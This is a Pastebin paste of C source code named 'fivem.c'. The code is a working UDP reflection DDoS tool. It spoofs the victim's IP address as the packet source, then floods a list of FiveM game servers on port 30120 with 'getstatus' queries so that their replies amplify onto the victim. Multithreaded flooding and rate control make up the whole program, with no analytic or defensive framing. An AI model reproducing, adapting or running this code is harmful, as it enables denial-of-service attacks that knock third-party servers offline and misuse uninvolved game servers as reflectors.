TNFModding

fivem.c

Aug 4th, 2021 (edited)
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.76 KB | None | 0 0
  1. #include <arpa/inet.h>
  2. #include <netinet/ip.h>
  3. #include <netinet/udp.h>
  4. #include <pthread.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <time.h>
  10. #include <unistd.h>
  11.  
  12. static unsigned int DPORT = 30120;
  13. // FiveM FXServer
  14. static const char PAYLOAD[] =
  15. "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0d\x0a";
  16.  
  17. // Phenomite template begin
  18. #define MAX_PACKET_SIZE 4096
  19. #define PHI 0xaaf219b9
  20. static uint32_t Q[4096], c = 362436;
  21. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);
  22.  
  23. struct list {
  24. struct sockaddr_in data;
  25. struct list *next;
  26. struct list *prev;
  27. };
  28. struct list *head;
  29. volatile int tehport;
  30. volatile int limiter;
  31. volatile unsigned int pps;
  32. volatile unsigned int sleeptime = 100;
  33. struct thread_data {
  34. int thread_id;
  35. struct list *list_node;
  36. struct sockaddr_in sin;
  37. };
  38.  
  39. void init_rand(uint32_t x) {
  40. int i;
  41. Q[0] = x;
  42. Q[1] = x + PHI;
  43. Q[2] = x + PHI + PHI;
  44. for (i = 3; i < 4096; i++) {
  45. Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
  46. }
  47. }
  48.  
  49. uint32_t rand_cmwc(void) {
  50. uint64_t t, a = 18782LL;
  51. static uint32_t i = 4095;
  52. uint32_t x, r = 0xfffffffe;
  53. i = (i + 1) & 4095;
  54. t = a * Q[i] + c;
  55. c = (t >> 32);
  56. x = t + c;
  57. if (x < c) {
  58. x++;
  59. c++;
  60. }
  61. return (Q[i] = r - x);
  62. }
  63.  
  64. /* function for header checksums */
  65. unsigned short csum(unsigned short *buf, int nwords) {
  66. unsigned long sum;
  67. for (sum = 0; nwords > 0; nwords--)
  68. sum += *buf++;
  69. sum = (sum >> 16) + (sum & 0xffff);
  70. sum += (sum >> 16);
  71. return (unsigned short)(~sum);
  72. }
  73.  
  74. void setup_ip_header(struct iphdr *iph) {
  75. iph->ihl = 5;
  76. iph->version = 4;
  77. iph->tos = 0;
  78. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  79. iph->id = htonl(61337);
  80. iph->frag_off = 0;
  81. iph->ttl = MAXTTL;
  82. iph->protocol = IPPROTO_UDP;
  83. iph->check = 0;
  84. iph->saddr = inet_addr("127.0.0.1");
  85. }
  86. void setup_udp_header(struct udphdr *udph) {
  87. udph->source = htons(61337);
  88. udph->dest = htons(DPORT);
  89. udph->check = 0;
  90. memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  91. udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
  92. }
  93. void *flood(void *par1) {
  94. struct thread_data *td = (struct thread_data *)par1;
  95. char datagram[MAX_PACKET_SIZE];
  96. struct iphdr *iph = (struct iphdr *)datagram;
  97. struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
  98. struct sockaddr_in sin = td->sin;
  99. struct list *list_node = td->list_node;
  100. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  101. if (s < 0) {
  102. fprintf(stderr, "Could not open raw socket.\n");
  103. exit(-1);
  104. }
  105. init_rand(time(NULL));
  106. memset(datagram, 0, MAX_PACKET_SIZE);
  107. setup_ip_header(iph);
  108. setup_udp_header(udph);
  109. udph->source = htons(tehport);
  110. iph->saddr = sin.sin_addr.s_addr;
  111. iph->daddr = list_node->data.sin_addr.s_addr;
  112. iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  113. int tmp = 1;
  114. const int *val = &tmp;
  115. if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
  116. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  117. exit(-1);
  118. }
  119. init_rand(time(NULL));
  120. register unsigned int i;
  121. i = 0;
  122. while (1) {
  123. list_node = list_node->next;
  124. iph->daddr = list_node->data.sin_addr.s_addr;
  125. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  126. iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  127. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
  128. sizeof(list_node->data));
  129. pps++;
  130. if (i >= limiter) {
  131. i = 0;
  132. usleep(sleeptime);
  133. }
  134. i++;
  135. }
  136. }
  137. int main(int argc, char *argv[]) {
  138. if (argc < 6) {
  139. fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
  140. argv[0]);
  141. exit(-1);
  142. }
  143. srand(time(NULL));
  144. int i = 0;
  145. head = NULL;
  146. fprintf(stdout, "Loading list to buffer\n");
  147. int max_len = 1460;
  148. char *buffer = (char *)malloc(max_len);
  149. buffer = memset(buffer, 0x00, max_len);
  150. tehport = atoi(argv[2]);
  151. int num_threads = atoi(argv[4]);
  152. int maxpps = atoi(argv[5]);
  153. limiter = 0;
  154. pps = 0;
  155. int multiplier = 100;
  156. FILE *list_fd = fopen(argv[3], "r");
  157. while (fgets(buffer, max_len, list_fd) != NULL) {
  158. if ((buffer[strlen(buffer) - 1] == '\n') ||
  159. (buffer[strlen(buffer) - 1] == '\r')) {
  160. buffer[strlen(buffer) - 1] = 0x00;
  161. if (head == NULL) {
  162. head = (struct list *)malloc(sizeof(struct list));
  163. bzero(&head->data, sizeof(head->data));
  164. head->data.sin_addr.s_addr = inet_addr(buffer);
  165. head->next = head;
  166. head->prev = head;
  167. } else {
  168. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  169. memset(new_node, 0x00, sizeof(struct list));
  170. new_node->data.sin_addr.s_addr = inet_addr(buffer);
  171. new_node->prev = head;
  172. new_node->next = head->next;
  173. head->next = new_node;
  174. }
  175. i++;
  176. } else {
  177. continue;
  178. }
  179. }
  180. struct list *current = head->next;
  181. pthread_t thread[num_threads];
  182. struct sockaddr_in sin;
  183. sin.sin_family = AF_INET;
  184. sin.sin_addr.s_addr = inet_addr(argv[1]);
  185. struct thread_data td[num_threads];
  186. for (i = 0; i < num_threads; i++) {
  187. td[i].thread_id = i;
  188. td[i].sin = sin;
  189. td[i].list_node = current;
  190. pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
  191. }
  192. fprintf(stdout, "Yeeting\n");
  193. for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
  194. usleep((1000 / multiplier) * 1000);
  195. if ((pps * multiplier) > maxpps) {
  196. if (1 > limiter) {
  197. sleeptime += 100;
  198. } else {
  199. limiter--;
  200. }
  201. } else {
  202. limiter++;
  203. if (sleeptime > 25) {
  204. sleeptime -= 25;
  205. } else {
  206. sleeptime = 0;
  207. }
  208. }
  209. pps = 0;
  210. }
  211. return 0;
  212. }
Add Comment
Please, Sign In to add comment